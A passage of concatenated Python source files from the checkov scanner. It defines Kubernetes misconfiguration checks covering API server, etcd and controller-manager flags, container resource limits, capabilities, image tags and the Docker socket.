re.match(TIMEOUT_PATTERN, value) if not matches: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerRequestTimeout() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerSecurePort(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_89" name = "Ensure that the --secure-port argument is not set to 0" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] command = conf.get("command") if isinstance(command, list): if "kube-apiserver" in command: if "--secure-port=0" in command: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerSecurePort() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerSecurityContextDenyPlugin(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_81" name = "Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: for cmd in conf["command"]: if cmd == "--enable-admission-plugins": return CheckResult.FAILED if "=" in cmd: [field, value, *_] = cmd.split("=") if field == "--enable-admission-plugins": if "PodSecurityPolicy" not in value and "SecurityContextDeny" not in value: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerSecurityContextDenyPlugin() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountKeyFile.py ================================================ import re from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck PEM_PATTERN = re.compile(r"^(.*)\.pem$") class ApiServerServiceAccountKeyFile(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_97" name = "Ensure that the --service-account-key-file argument is set as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: for cmd in conf["command"]: if cmd == "--service-account-key-file": return CheckResult.FAILED if "=" in cmd: [field, value, *_] = cmd.split("=") if field == "--service-account-key-file": # should be a valid path and to end with .pem matches = re.match(PEM_PATTERN, value) if not matches: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerServiceAccountKeyFile() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountLookup.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerServiceAccountLookup(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_96" name = "Ensure that the --service-account-lookup argument is set to true" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command") is not None: if "kube-apiserver" in conf["command"]: if ( "--service-account-lookup=false" in conf["command"] or "--service-account-lookup=true" not in conf["command"] ): return CheckResult.FAILED return CheckResult.PASSED check = ApiServerServiceAccountLookup() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerServiceAccountPlugin(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_82" name = "Ensure that the admission control plugin ServiceAccount is set" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: for cmd in conf["command"]: if cmd == "--enable-admission-plugins": return CheckResult.FAILED if "=" in cmd: [field, value, *_] = cmd.split("=") if field == "--enable-admission-plugins": if "ServiceAccount" not in value: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerServiceAccountPlugin() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerStrongCryptographicCiphers.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck STRONG_CIPHERS = ( "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305", "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", "TLS_RSA_WITH_AES_256_GCM_SHA384", "TLS_RSA_WITH_AES_128_GCM_SHA256", ) class ApiServerStrongCryptographicCiphers(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_105" name = "Ensure that the API Server only makes use of Strong Cryptographic Ciphers" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: for command in conf["command"]: if command.startswith("--tls-cipher-suites"): value = command.split("=")[1] ciphers = value.split(",") for cipher in ciphers: if cipher not in STRONG_CIPHERS: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerStrongCryptographicCiphers() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerTlsCertAndKey.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerTlsCertAndKey(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_100" name = "Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: hasCertCommand = False hasKeyCommand = False for command in conf["command"]: if command.startswith("--tls-cert-file"): if len(command.split("=")) == 2 and (command.split("=")[1]).strip(): hasCertCommand = True elif command.startswith("--tls-private-key-file"): if len(command.split("=")) == 2 and (command.split("=")[1]).strip(): hasKeyCommand = True return CheckResult.PASSED if hasCertCommand and hasKeyCommand else CheckResult.FAILED return CheckResult.PASSED check = ApiServerTlsCertAndKey() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerTokenAuthFile(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_70" name = "Ensure that the --token-auth-file argument is not set" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: if any(x.startswith("--token-auth-file") for x in conf["command"]): return CheckResult.FAILED return CheckResult.PASSED check = ApiServerTokenAuthFile() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck from checkov.kubernetes.checks.resource.k8s.k8s_check_utils import extract_commands class ApiServerkubeletCertificateAuthority(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_73" name = "Ensure that the --kubelet-certificate-authority argument is set as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: keys, values = extract_commands(conf) if "kube-apiserver" in keys and "--kubelet-certificate-authority" not in keys: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerkubeletCertificateAuthority() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/CPULimits.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class CPULimits(BaseK8sContainerCheck): def __init__(self) -> None: name = "CPU limits should be set" id = "CKV_K8S_11" # Location: container .resources.limits.cpu super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["resources/limits/cpu"] res = conf.get("resources") if res: if not isinstance(res, dict): return CheckResult.UNKNOWN limits = res.get("limits") if limits and limits.get("cpu"): return CheckResult.PASSED return CheckResult.FAILED check = CPULimits() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/CPURequests.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class CPURequests(BaseK8sContainerCheck): def __init__(self) -> None: name = "CPU requests should be set" id = "CKV_K8S_10" # Location: container .resources.requests.cpu super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["resources/requests/cpu"] res = conf.get("resources") if res: if not isinstance(res, dict): return CheckResult.UNKNOWN requests = res.get("requests") if not isinstance(requests, dict): return CheckResult.UNKNOWN if requests and requests.get("cpu"): # nosec # false positive return CheckResult.PASSED return CheckResult.FAILED check = CPURequests() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ContainerSecurityContext.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ContainerSecurityContext(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.5 5.7.3 name = "Apply security context to your containers" # Security context can be set at pod or container level. # Location: container .securityContext id = "CKV_K8S_30" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["securityContext"] if conf.get("securityContext"): return CheckResult.PASSED return CheckResult.FAILED check = ContainerSecurityContext() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ControllerManagerBindAddress.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ControllerManagerBindAddress(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_113" name = "Ensure that the --bind-address argument is set to 127.0.0.1" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-controller-manager" in conf["command"]: for cmd in conf["command"]: if "=" in cmd: [key, value, *_] = cmd.split("=") if key == "--bind-address" and value == "127.0.0.1": return CheckResult.PASSED return CheckResult.FAILED return CheckResult.PASSED check = ControllerManagerBindAddress() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class DangerousGitSync(BaseK8sContainerCheck): def __init__(self) -> None: # Use of GITSYNC_GIT has potential for code injection # https://www.akamai.com/blog/security-research/2024-august-kubernetes-gitsync-command-injection-defcon name = "Limit the use of git-sync to prevent code injection" id = "CKV_K8S_159" # Location: spec.template.spec.containers[*].env[*].name # Location2: spec.template.spec.initContainers[*].env[*].name super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["env"] if conf.get("env") and isinstance(conf.get("env"), list): for env in conf.get("env", []): if env.get("name") and env.get("name") == "GITSYNC_GIT": return CheckResult.FAILED return CheckResult.PASSED check = DangerousGitSync() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/DefaultNamespace.py ================================================ from __future__ import annotations import os from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class DefaultNamespace(BaseK8Check): def __init__(self) -> None: # CIS-1.5 5.7.4 name = "The default namespace should not be used" # default Service Account and Service/kubernetes are ignored id = "CKV_K8S_21" supported_kind = ( "Pod", "Deployment", "DaemonSet", "StatefulSet", "ReplicaSet", "ReplicationController", "Job", "CronJob", "Service", "Secret", "ServiceAccount", "Role", "RoleBinding", "ConfigMap", "Ingress", ) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: metadata = conf.get("metadata") if metadata: if "namespace" in metadata and metadata["namespace"] != "default": return CheckResult.PASSED if os.getenv('HELM_NAMESPACE') and os.getenv('HELM_NAMESPACE') != "default": return CheckResult.PASSED # If namespace not defined it is default -> Ignore default Service account and kubernetes service if conf.get("kind") == "ServiceAccount" and metadata.get("name") == "default": return CheckResult.PASSED if conf.get("kind") == "Service" and metadata.get("name") == "kubernetes": return CheckResult.PASSED return CheckResult.FAILED return CheckResult.FAILED check = DefaultNamespace() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/DefaultServiceAccount.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class DefaultServiceAccount(BaseK8Check): def __init__(self) -> None: # CIS-1.5 5.1.5 name = "Ensure that default service accounts are not actively used" # Check automountServiceAccountToken in default service account in runtime id = "CKV_K8S_41" supported_kind = ("ServiceAccount",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: if "metadata" in conf: if "name" in conf["metadata"]: if conf["metadata"]["name"] == "default": if "automountServiceAccountToken" in conf: if conf["automountServiceAccountToken"] is False: return CheckResult.PASSED return CheckResult.FAILED else: return CheckResult.PASSED return CheckResult.PASSED check = DefaultServiceAccount() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/DefaultServiceAccountBinding.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class DefaultServiceAccountBinding(BaseK8Check): def __init__(self) -> None: # CIS-1.5 5.1.5 # Check no role/clusterrole is bound to a default service account (to ensure not actively used) # Location: .subjects[] name = "Ensure that default service accounts are not actively used" id = "CKV_K8S_42" supported_kind = ("RoleBinding", "ClusterRoleBinding") categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: if "subjects" in conf and isinstance(conf["subjects"], list): for subject in conf["subjects"]: if subject["kind"] == "ServiceAccount": if subject["name"] == "default": return CheckResult.FAILED return CheckResult.PASSED check = DefaultServiceAccountBinding() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/DockerSocketVolume.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.data_structures_utils import find_in_dict from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class DockerSocketVolume(BaseK8Check): def __init__(self) -> None: name = "Do not expose the docker daemon socket to containers" # Exposing the socket gives container information and increases risk of exploit # read-only is not a solution but only makes it harder to exploit. # Location: Pod.spec.volumes[].hostPath.path # Location: CronJob.spec.jobTemplate.spec.template.spec.volumes[].hostPath.path # Location: *.spec.template.spec.volumes[].hostPath.path id = "CKV_K8S_27" supported_kind = ( "Pod", "Deployment", "DaemonSet", "StatefulSet", "ReplicaSet", "ReplicationController", "Job", "CronJob", ) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: spec = {} if conf["kind"] == "Pod": if "spec" in conf: spec = conf["spec"] elif conf["kind"] == "CronJob": inner_spec = find_in_dict(input_dict=conf, key_path="spec/jobTemplate/spec/template/spec") spec = inner_spec if inner_spec else spec else: inner_spec = find_in_dict(input_dict=conf, key_path="spec/template/spec") spec = inner_spec if inner_spec else spec # Evaluate volumes if spec and isinstance(spec, dict): volumes = spec.get("volumes", []) if not isinstance(volumes, list): return CheckResult.UNKNOWN for v in volumes: if not v.get("hostPath"): continue if v["hostPath"].get("path") == "/var/run/docker.sock": return CheckResult.FAILED return CheckResult.PASSED check = DockerSocketVolume() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/DropCapabilities.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class DropCapabilities(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.3 1.7.7 # CIS-1.5 5.2.7 # NET_RAW allows a process to spy on packets on its network name = "Minimize the admission of containers with the NET_RAW capability" id = "CKV_K8S_28" # Location: container .securityContext.capabilities.drop super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["securityContext/capabilities/drop"] if conf.get("securityContext"): if conf["securityContext"].get("capabilities"): if conf["securityContext"]["capabilities"].get("drop"): for d in conf["securityContext"]["capabilities"]["drop"]: if any(cap in d for cap in ("ALL", "all", "NET_RAW")): return CheckResult.PASSED return CheckResult.FAILED check = DropCapabilities() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/DropCapabilitiesPSP.py ================================================ from typing import Dict, Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class DropCapabilitiesPSP(BaseK8Check): def __init__(self) -> None: # CIS-1.3 1.7.7 # CIS-1.5 5.2.7 name = "Do not admit containers with the NET_RAW capability" # Location: PodSecurityPolicy.spec.requiredDropCapabilities id = "CKV_K8S_7" supported_kind = ("PodSecurityPolicy",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: Dict[str, Any]) -> CheckResult: spec = conf.get("spec") if spec and isinstance(spec, dict): drop_cap = spec.get("requiredDropCapabilities") if drop_cap and isinstance(drop_cap, list): if any(cap in drop_cap for cap in ("ALL", "NET_RAW")): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["spec/requiredDropCapabilities"] check = DropCapabilitiesPSP() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/EtcdAutoTls.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class EtcdAutoTls(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 2.3 id = "CKV_K8S_118" name = "Ensure that the --auto-tls argument is not set to true" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] command = conf.get("command") if isinstance(command, list): if "etcd" in command and "--auto-tls=true" in command: return CheckResult.FAILED return CheckResult.PASSED check = EtcdAutoTls() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/EtcdCertAndKey.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class EtcdCertAndKey(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 2.1 id = "CKV_K8S_116" name = "Ensure that the --cert-file and --key-file arguments are set as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "etcd" in conf["command"]: hasCertCommand = False hasKeyCommand = False for command in conf["command"]: if command.startswith("--cert-file"): hasCertCommand = True elif command.startswith("--key-file"): hasKeyCommand = True if hasCertCommand and hasKeyCommand: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.PASSED check = EtcdCertAndKey() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/EtcdClientCertAuth.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class EtcdClientCertAuth(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 2.2 id = "CKV_K8S_117" name = "Ensure that the --client-cert-auth argument is set to true" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] command = conf.get("command") if isinstance(command, list): if "etcd" in command and "--client-cert-auth=true" not in command: return CheckResult.FAILED return CheckResult.PASSED check = EtcdClientCertAuth() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck from checkov.kubernetes.checks.resource.k8s.k8s_check_utils import extract_commands class EtcdPeerFiles(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 id = "CKV_K8S_119" name = "Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] keys, values = extract_commands(conf) if "etcd" in keys: if "--peer-cert-file" not in keys or "--peer-key-file" not in keys: return CheckResult.FAILED return CheckResult.PASSED check = EtcdPeerFiles() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/HostPort.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class HostPort(BaseK8sContainerCheck): def __init__(self) -> None: """ https://kubernetes.io/docs/concepts/configuration/overview/ Don't specify a hostPort for a Pod unless it is absolutely necessary. When you bind a Pod to a hostPort, it limits the number of places the Pod can be scheduled, because each combination must be unique. """ name = "Do not specify hostPort unless absolutely necessary" id = "CKV_K8S_26" # Location: container .ports[].hostPort super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: if conf.get("ports"): for idx, port in enumerate(conf["ports"]): if "hostPort" in port: self.evaluated_container_keys = [f"ports/[{idx}]/hostPort"] return CheckResult.FAILED return CheckResult.PASSED check = HostPort() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ImageDigest.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ImageDigest(BaseK8sContainerCheck): def __init__(self) -> None: """ The image specification should use a digest instead of a tag to make sure the container always uses the same version of the image. https://kubernetes.io/docs/concepts/configuration/overview/#container-images An admission controller could be used to enforce the use of image digest """ name = "Image should use digest" id = "CKV_K8S_43" # Location: container .image super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["image"] if "image" in conf: # The @ indicates there is a digest. It's technically possible to use a tag as well, but it doesn't make # a difference. So, this @ is all we need to pass the check. image_conf = conf["image"] if isinstance(image_conf, str): has_digest = "@" in image_conf return CheckResult.PASSED if has_digest else CheckResult.FAILED return CheckResult.FAILED check = ImageDigest() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ImagePullPolicyAlways.py ================================================ import re from typing import Any, Dict from checkov.common.models.consts import DOCKER_IMAGE_REGEX from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ImagePullPolicyAlways(BaseK8sContainerCheck): def __init__(self) -> None: """ Image pull policy should be set to always to ensure you get the correct image and imagePullSecrets are correct Default is 'IfNotPresent' unless image tag is omitted or :latest https://kubernetes.io/docs/concepts/configuration/overview/#container-images An admission controller could be used to enforce imagePullPolicy """ name = "Image Pull Policy should be Always" id = "CKV_K8S_15" # Location: container .imagePullPolicy super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["image", "imagePullPolicy"] if conf.get("image"): # Remove the digest, if present image_val = conf["image"] if not isinstance(image_val, str) or image_val.strip() == "": return CheckResult.UNKNOWN if "@" in image_val: image_val = image_val[0 : image_val.index("@")] has_digest = True else: has_digest = False if "imagePullPolicy" not in conf: image_tag_match = re.findall(DOCKER_IMAGE_REGEX, image_val) if len(image_tag_match) != 1: # If image name is invalid, check result can not be determined return CheckResult.UNKNOWN (image, tag) = image_tag_match[0] if tag == "latest" or tag == "": # Default imagePullPolicy = Always return CheckResult.PASSED elif has_digest: return CheckResult.PASSED else: # Default imagePullPolicy = IfNotPresent return CheckResult.FAILED else: if not has_digest and conf["imagePullPolicy"] != "Always": return CheckResult.FAILED else: return CheckResult.FAILED return CheckResult.PASSED check = ImagePullPolicyAlways() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ImageTagFixed.py ================================================ import re from typing import Any, Dict from checkov.common.models.consts import DOCKER_IMAGE_REGEX from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ImageTagFixed(BaseK8sContainerCheck): def __init__(self) -> None: """ You should avoid using the :latest tag when deploying containers in production as it is harder to track which version of the image is running and more difficult to roll back properly. """ name = "Image Tag should be fixed - not latest or blank" id = "CKV_K8S_14" # Location: container .image super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["image"] if conf.get("image"): image_val = conf["image"] if not isinstance(image_val, str) or image_val.strip() == "": return CheckResult.UNKNOWN # If there's a digest, then this is even better than the tag, so the check passes if "@" in image_val: return CheckResult.PASSED re_result = re.findall(DOCKER_IMAGE_REGEX, image_val) if not re_result: return CheckResult.UNKNOWN (image, tag) = re_result[0] if tag == "latest" or tag == "": return CheckResult.FAILED else: return CheckResult.FAILED return CheckResult.PASSED check = ImageTagFixed() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeControllerManagerBlockProfiles.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubeControllerManagerBlockProfiles(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_107" name = "Ensure that the --profiling argument is set to false" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-controller-manager" in conf["command"]: for command in conf["command"]: if command.startswith("--profiling"): value = command.split("=")[1] if value == "false": return CheckResult.PASSED return CheckResult.FAILED return CheckResult.PASSED check = KubeControllerManagerBlockProfiles() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeControllerManagerRootCAFile.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubeControllerManagerRootCAFile(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_111" name = "Ensure that the --root-ca-file argument is set as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-controller-manager" in conf["command"]: for command in conf["command"]: if command.startswith("--root-ca-file"): file_name = command.split("=")[1] extension = file_name.split(".")[1] if extension == "pem": return CheckResult.PASSED else: return CheckResult.FAILED return CheckResult.PASSED check = KubeControllerManagerRootCAFile() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountCredentials.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubeControllerManagerServiceAccountCredentials(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_108" name = "Ensure that the --use-service-account-credentials argument is set to true" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-controller-manager" in conf["command"]: for command in conf["command"]: if command.startswith("--use-service-account-credentials"): value = command.split("=")[1] if value == "true": return CheckResult.PASSED return CheckResult.FAILED return CheckResult.PASSED check = KubeControllerManagerServiceAccountCredentials() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeControllerManagerServiceAccountPrivateKeyFile.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubeControllerManagerServiceAccountPrivateKeyFile(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_110" name = "Ensure that the --service-account-private-key-file argument is set as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-controller-manager" in conf["command"]: for command in conf["command"]: if command.startswith("--service-account-private-key-file"): file_name = command.split("=")[1] extension = file_name.split(".")[1] if extension == "pem": return CheckResult.PASSED else: return CheckResult.FAILED return CheckResult.PASSED check = KubeControllerManagerServiceAccountPrivateKeyFile() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/KubeControllerManagerTerminatedPods.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class KubeControllerManagerTerminatedPods(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_106" 